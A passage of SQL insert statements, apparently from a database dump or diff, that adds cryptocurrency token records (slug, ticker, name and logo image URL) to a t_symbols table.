'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/polyswarm.png', NULL); +INSERT INTO `t_symbols` VALUES (603, 'frontier', 'FRONT', 'Frontier', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/frontier.png', NULL); +INSERT INTO `t_symbols` VALUES (604, 'lazio-fan-token', 'LAZIO', 'Lazio Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/sslazio.png', NULL); +INSERT INTO `t_symbols` VALUES (605, 'amber', 'AMB', 'AirDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amber.png', NULL); +INSERT INTO `t_symbols` VALUES (606, 'menloone', 'ONE', 'Menlo One', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/menloone.jpg', NULL); +INSERT INTO `t_symbols` VALUES (607, 'kleros', 'PNK', 'Kleros', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kleros.jpg', NULL); +INSERT INTO `t_symbols` VALUES (608, 'orca', 'ORCA', 'Orca', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/orca.png', NULL); +INSERT INTO `t_symbols` VALUES (609, 'qqbc', 'QQBC', 'QQBC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qqbc.png', NULL); +INSERT INTO `t_symbols` VALUES (610, 'coin-capsule', 'CAPS', 'Ternoa', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coin-capsule.png', NULL); +INSERT INTO `t_symbols` VALUES (611, 'divi', 'DIVI', 'Divi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/diviproject.jpg', NULL); +INSERT INTO `t_symbols` VALUES (612, 'deapcoin', 'DEP', 'DEAPcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deapcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (613, 'paris-saint-germain-fan-token', 'PSG', 'Paris Saint-Germain Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/paris-saint-germain-fan-token.png', NULL); +INSERT INTO `t_symbols` VALUES (614, 'unibright', 'UBT', 'Unibright', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unibright.png', NULL); +INSERT INTO `t_symbols` VALUES (615, 'dynamic-trading-rights', 'DTR', 'Dynamic Trading Rights', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dynamic-trading-rights.png', NULL); +INSERT INTO `t_symbols` VALUES (616, 'sharechain', 'SSS', 'Super Smart Share', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sharechain.png', NULL); +INSERT INTO `t_symbols` VALUES (617, 'terra-virtua-kolect', 'TVK', 'The Virtua Kolect', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terra-virtua-kolect.png', NULL); +INSERT INTO `t_symbols` VALUES (618, 'acoin', 'ACOIN', 'Acoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/acoin.png', NULL); +INSERT INTO `t_symbols` VALUES (619, 'nestree', 'EGG', 'Nestree', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nestree.png', NULL); +INSERT INTO `t_symbols` VALUES (620, 'bodhi', 'BOT', 'Bodhi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bodhi.png', NULL); +INSERT INTO `t_symbols` VALUES (621, 'cutcoin', 'CUT', 'CUTcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cutcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (622, 'derace', 'DERC', 'DeRace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/derace.png', NULL); +INSERT INTO `t_symbols` VALUES (623, 'phantasma', 'SOUL', 'Phantasma', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/phantasma.png', NULL); +INSERT INTO `t_symbols` VALUES (624, 'nimiq-2', 'NIM', 'Nimiq', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nimiq-2.png', NULL); +INSERT INTO `t_symbols` VALUES (625, 'wagerr', 'WGR', 'Wagerr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wagerr.png', NULL); +INSERT INTO `t_symbols` VALUES (626, 'cosplay-token', 'COT', 'Cosplay Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cosplay-token.png', NULL); +INSERT INTO `t_symbols` VALUES (627, 'newscrypto-coin', 'NWC', 'Newscrypto Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newscrypto-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (628, 'kpc8', 'KPC8', 'kpc8', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kpc8.png', NULL); +INSERT INTO `t_symbols` VALUES (629, 'solve', 'SOLVE', 'SOLVE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solve.png', NULL); +INSERT INTO `t_symbols` VALUES (630, 'firstblood', '1ST', 'FirstBlood', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/firstblood.png', NULL); +INSERT INTO `t_symbols` VALUES (631, 'assemble-protocol', 'ASM', 'Assemble Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/assemble-protocol.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (632, 'reddcoin', 'RDD', 'ReddCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/reddcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (633, 'handshake', 'HNS', 'Handshake', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/handshake.png', NULL); +INSERT INTO `t_symbols` VALUES (634, 'zano', 'ZANO', 'Zano', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zano.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (635, 'cannon-capital', 'CAN', 'cannon-capital', NULL, NULL); +INSERT INTO `t_symbols` VALUES (636, 'ooki', 'OOKI', 'Ooki', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ooki.png', NULL); +INSERT INTO `t_symbols` VALUES (637, 'counterparty', 'XCP', 'Counterparty', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/counterparty.png', NULL); +INSERT INTO `t_symbols` VALUES (638, 'peercoin', 'PPC', 'Peercoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/peercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (639, 'whitecoin', 'XWC', 'Whitecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/whitecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (640, 'concentrated-voting-power', 'CVP', 'PowerPool Concentrated Voting Power', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/concentrated-voting-power.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (641, 'byteball', 'GBYTE', 'Obyte', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/byteball.png', NULL); +INSERT INTO `t_symbols` VALUES (642, 'dlb', 'DLB', 'Data Link Base', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dlb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (643, 'gensokishi', 'MV', 'GensoKishi Metaverse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gensokishi.png', NULL); +INSERT INTO `t_symbols` VALUES (644, 'aurora-near', 'AURORA', 'Aurora', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aurora-near.png', NULL); +INSERT INTO `t_symbols` VALUES (645, 'forceprotocol', 'FOR', 'ForTube', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/forceprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (646, 'goldfinch', 'GFI', 'Goldfinch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldfinch.png', NULL); +INSERT INTO `t_symbols` VALUES (647, 'bitnautic-token', 'BTNT', 'BitNautic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitnautic-token.png', NULL); +INSERT INTO `t_symbols` VALUES (648, 'levolution', 'LEVL', 'Levolution', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/levolution.png', NULL); +INSERT INTO `t_symbols` VALUES (649, 'random-chain', 'RDC', 'random-chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/random-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (650, 'lon', 'LON', 'Tokenlon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lon.png', NULL); +INSERT INTO `t_symbols` VALUES (651, 'gifto', 'GTO', 'Gifto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gifto.png', NULL); +INSERT INTO `t_symbols` VALUES (652, 'bloomzed-token', 'BLCT', 'Bloomzed Loyalty Club Ticket', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bloomzed-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (653, 'unicrypt-2', 'UNCX', 'UniCrypt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unicrypt-2.png', NULL); +INSERT INTO `t_symbols` VALUES (654, 'qbtcink', 'QT', 'QT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qbtc.png', NULL); +INSERT INTO `t_symbols` VALUES (655, 'amo', 'AMO', 'AMO Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/amo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (656, 'benqi', 'QI', 'BENQI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/benqi.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (657, 'pressone', 'PRS', 'PressOne', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pressone.png', NULL); +INSERT INTO `t_symbols` VALUES (658, 'numtoken', 'NUM', 'NUM Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/numbers.png', NULL); +INSERT INTO `t_symbols` VALUES (659, 'epic-coin', 'EPIC', 'Epic Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/epic-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (660, 'prizm', 'PZM', 'Prizm', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/PRIZM_eng.jpg', NULL); +INSERT INTO `t_symbols` VALUES (661, 'qtcon', 'QTCON', 'Quiztok', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qtcon.png', NULL); +INSERT INTO `t_symbols` VALUES (662, 'moonx', 'MM', 'MoonX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/moonx.png', NULL); +INSERT INTO `t_symbols` VALUES (663, 'juventus-fan-token', 'JUV', 'Juventus Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/juventus-fan-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (664, 'aioz-network', 'AIOZ', 'AIOZ Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aioz-network.png', NULL); +INSERT INTO `t_symbols` VALUES (665, 'hackenai', 'HAI', 'Hacken HAI', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hackenai.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (666, 'wrapped-ncg', 'WNCG', 'Wrapped NCG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wrapped-ncg.png', NULL); +INSERT INTO `t_symbols` VALUES (667, 'shift', 'SHIFT', 'Shift', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/shift.png', NULL); +INSERT INTO `t_symbols` VALUES (668, 'aventus', 'AVT', 'Aventus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aventus.png', NULL); +INSERT INTO `t_symbols` VALUES (669, 'oax', 'OAX', 'OAX', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/oax.png', NULL); +INSERT INTO `t_symbols` VALUES (670, 'babb', 'BAX', 'BABB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/babb.png', NULL); +INSERT INTO `t_symbols` VALUES (671, 'safe-exchange-coin', 'SAFEX', 'Safe Exchange Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/safe-exchange-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (672, 'swftcoin', 'SWFTC', 'SWFTCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swftcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (673, 'marinade-staked-sol', 'MSOL', 'Marinade Staked SOL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/marinade-staked-sol.png', NULL); +INSERT INTO `t_symbols` VALUES (674, 'syncfab', 'MFG', 'Smart MFG', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/syncfab.jpg', NULL); +INSERT INTO `t_symbols` VALUES (675, 'switcheo', 'SWTH', 'Carbon Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/switcheo.png', NULL); +INSERT INTO `t_symbols` VALUES (676, 'starl', 'STARL', 'StarLink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/starlink.png', NULL); +INSERT INTO `t_symbols` VALUES (677, 'sperax', 'SPA', 'Sperax', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sperax.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (678, 'wisdom-chain', 'WDC', 'WorldCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wisdom-chain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (679, 'dx', 'DX', 'DxChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (680, 'prosper', 'PROS', 'Prosper', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/prosper.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (681, 'monero-classic', 'XMC', 'Monero-Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/monero-classic.png', NULL); +INSERT INTO `t_symbols` VALUES (682, 'inverse-finance', 'INV', 'Inverse Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/inverse-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (683, 'apex-apex', 'APEX', 'Apex Nodes', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/apex.png', NULL); +INSERT INTO `t_symbols` VALUES (684, 'arcticcoin', 'ARC', 'Advanced Technology Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arcticcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (685, 'viberate', 'VIB', 'Viberate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/viberate.png', NULL); +INSERT INTO `t_symbols` VALUES (686, 'ovr', 'OVR', 'Ovr', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ovr.png', NULL); +INSERT INTO `t_symbols` VALUES (687, 'kryll', 'KRL', 'KRYLL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kryll.png', NULL); +INSERT INTO `t_symbols` VALUES (688, 'lala-world', 'LALA', 'LALA World', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lala-world.png', NULL); +INSERT INTO `t_symbols` VALUES (689, 'adshares', 'ADST', 'AdShares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/adshares.png', NULL); +INSERT INTO `t_symbols` VALUES (690, 'dimecoin', 'DIME', 'Dimecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dimecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (691, 'mysterium', 'MYST', 'Mysterium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mysterium.png', NULL); +INSERT INTO `t_symbols` VALUES (692, 'zzz-finance', 'ZZZ', 'zzz.finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zzz-finance.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (693, 'blockv', 'VEE', 'BLOCKv', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockv.png', NULL); +INSERT INTO `t_symbols` VALUES (694, 'foam', 'FOAM', 'FOAM', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/foam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (695, 'perlin', 'PERL', 'PERL.eco', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/perlin.png', NULL); +INSERT INTO `t_symbols` VALUES (696, 'bczero', 'BCZERO', 'Buggyra Coin Zero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bczero.jpg', NULL); +INSERT INTO `t_symbols` VALUES (697, 'radium', 'VAL', 'Vikings Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/radium.png', NULL); +INSERT INTO `t_symbols` VALUES (698, 'siaprime-coin', 'SCP', 'ScPrime', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/siaprime-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (699, 'mixmarvel', 'MIX', 'MixMarvel', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mixmarvel.png', NULL); +INSERT INTO `t_symbols` VALUES (700, 'index-cooperative', 'INDEX', 'Index Cooperative', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/index-cooperative.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (701, 'stacktical', 'DSLA', 'DSLA Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stacktical.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (702, 'quantstamp', 'QSP', 'Quantstamp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/quantstamp.png', NULL); +INSERT INTO `t_symbols` VALUES (703, 'stacs', 'STACS', 'STACS Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/stacs.png', NULL); +INSERT INTO `t_symbols` VALUES (704, 'deepbrain-chain', 'DBC', 'DeepBrain Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deepbrain-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (705, 'betprotocol', 'BEPRO', 'BEPRO Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (706, 'unification', 'FUND', 'Unification', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/unification.png', NULL); +INSERT INTO `t_symbols` VALUES (707, 'dego-finance', 'DEGO', 'Dego Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dego-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (708, 'arcblock', 'ABT', 'Arcblock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arcblock.png', NULL); +INSERT INTO `t_symbols` VALUES (709, 'utb', 'UTB', 'utb', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/utb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (710, 'digital-economic-token', 'DET', 'DET', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digital-economic-token.png', NULL); +INSERT INTO `t_symbols` VALUES (711, 'splintershards', 'SPS', 'Splintershards', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/splintershards.png', NULL); +INSERT INTO `t_symbols` VALUES (712, 'ac-milan-fan-token', 'ACM', 'AC Milan Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ac-milan-fan-token.png', NULL); +INSERT INTO `t_symbols` VALUES (713, 'hedgetrade', 'HEDG', 'HedgeTrade', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/hedgetrade.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (714, 'derivadao', 'DDX', 'DerivaDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/derivadao.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (715, 'qlink', 'QLC', 'Kepple', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/qlink.png', NULL); +INSERT INTO `t_symbols` VALUES (716, 'fox-token', 'FOX', 'Shapeshift FOX Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fox-token.png', NULL); +INSERT INTO `t_symbols` VALUES (717, 'spacechain', 'SPC', 'SpaceChain (ERC-20)', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spacechain.png', NULL); +INSERT INTO `t_symbols` VALUES (718, 'gobal-cash-chain', 'GCC', 'gobal-cash-chain', NULL, NULL); +INSERT INTO `t_symbols` VALUES (719, 'rupiah-token', 'IDRT', 'Rupiah', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rupiah-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (720, 'startercoin', 'STAC', 'StarterCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/startercoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (721, 'icst', 'ICST', 'icst', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icst.jpg', NULL); +INSERT INTO `t_symbols` VALUES (722, 'ondori', 'RSTR', 'Ondori', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ondori.jpg', NULL); +INSERT INTO `t_symbols` VALUES (723, 'lockchain', 'LOC', 'LockTrip', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (724, 'bitcoin-token', 'BTK', 'Bitcoin Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (725, 'crust', 'CRU', 'Crust Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crust.png', NULL); +INSERT INTO `t_symbols` VALUES (726, 'gochain', 'GO', 'GoChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gochain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (727, 'sensorium', 'SENSO', 'SENSO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sensorium.png', NULL); +INSERT INTO `t_symbols` VALUES (728, 'newyork-exchange', 'NYE', 'NewYork Exchange', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/newyork-exchange.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (729, 'lossless', 'LSS', 'Lossless', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lossless.png', NULL); +INSERT INTO `t_symbols` VALUES (730, 'playerone', 'PLO', 'playerone', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/playerone.png', NULL); +INSERT INTO `t_symbols` VALUES (731, 'decentralized-advertising', 'DAD', 'DAD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/decentralized-advertising.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (732, 'dip', 'DIP', 'Etherisc DIP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dip.jpg', NULL); +INSERT INTO `t_symbols` VALUES (733, 'anchor-protocol', 'ANC', 'Anchor Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/anchor-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (734, 'credit-safe-application-chain', 'CSAC', 'CSAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/credit-safe-application-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (735, 'rai-reflex-index', 'RAI', 'Rai Reflex Index', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rai-reflex-index.png', NULL); +INSERT INTO `t_symbols` VALUES (736, 'six', 'SIX', 'SIX Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/theSIXnetwork.jpg', NULL); +INSERT INTO `t_symbols` VALUES (737, 'pnetwork', 'PNT', 'pNetwork', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pnetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (738, 'rae-token', 'RAE', 'Receive Access Ecosystem', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rae-token.png', NULL); +INSERT INTO `t_symbols` VALUES (739, 'eco-value-coin', 'EVC', 'Eco Value Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eco-value-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (740, 'spankchain', 'SPANK', 'SpankChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/spankchain.png', NULL); +INSERT INTO `t_symbols` VALUES (741, 'equad', 'EQUAD', 'Quadrant Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/equad.jpg', NULL); +INSERT INTO `t_symbols` VALUES (742, 'infinitus-token', 'INF', 'Infinitus Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/infinitus-token.png', NULL); +INSERT INTO `t_symbols` VALUES (743, 'library-credit', 'LBC', 'LBRY Credits', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/library-credit.png', NULL); +INSERT INTO `t_symbols` VALUES (744, 'plcn', 'PLCN', 'PlusCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/plcn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (745, 'buying-com', 'BUY', 'Buying.com', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buying-com.png', NULL); +INSERT INTO `t_symbols` VALUES (746, 'naga', 'NGC', 'NAGA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/naga.png', NULL); +INSERT INTO `t_symbols` VALUES (747, 'fc-barcelona-fan-token', 'BAR', 'FC Barcelona Fan Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fc-barcelona-fan-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (748, 'grin', 'GRIN', 'Grin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/grin.png', NULL); +INSERT INTO `t_symbols` VALUES (749, 'fit', 'FIT', 'fit', NULL, NULL); +INSERT INTO `t_symbols` VALUES (750, 'wirex', 'WXT', 'Wirex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/wirex.png/coinInfo.png', NULL); +INSERT INTO `t_symbols` VALUES (751, 'mon', 'MON', 'mon', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mon.jpg', NULL); +INSERT INTO `t_symbols` VALUES (752, 'snowblossom', 'SNOW', 'SnowBlossom', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/snowblossom.png', NULL); +INSERT INTO `t_symbols` VALUES (753, 'eligma-token', 'GOC', 'GoCrypto', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eligma-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (754, 'hold', 'HOLD', 'HOLD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hold.jpg', NULL); +INSERT INTO `t_symbols` VALUES (755, 'bitcny', 'BITCNY', 'bitCNY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcny.png', NULL); +INSERT INTO `t_symbols` VALUES (756, 'dxdao', 'DXD', 'DXdao', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dxdao.png', NULL); +INSERT INTO `t_symbols` VALUES (757, 'sylo', 'SYLO', 'Sylo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sylo.png', NULL); +INSERT INTO `t_symbols` VALUES (758, 'bitrue-coin', 'BTR', 'Bitrue Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitrue-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (759, 'women', 'WOMEN', 'WomenCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/women.png', NULL); +INSERT INTO `t_symbols` VALUES (760, 'publish', 'NEWS', 'PUBLISH', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/publish.png', NULL); +INSERT INTO `t_symbols` VALUES (761, 'mirror-protocol', 'MIR', 'Mirror Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mirror-protocol.png', NULL); +INSERT INTO `t_symbols` VALUES (762, 'bitdice', 'CSNO', 'BitDice', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdice.png', NULL); +INSERT INTO `t_symbols` VALUES (763, 'banano', 'BAN', 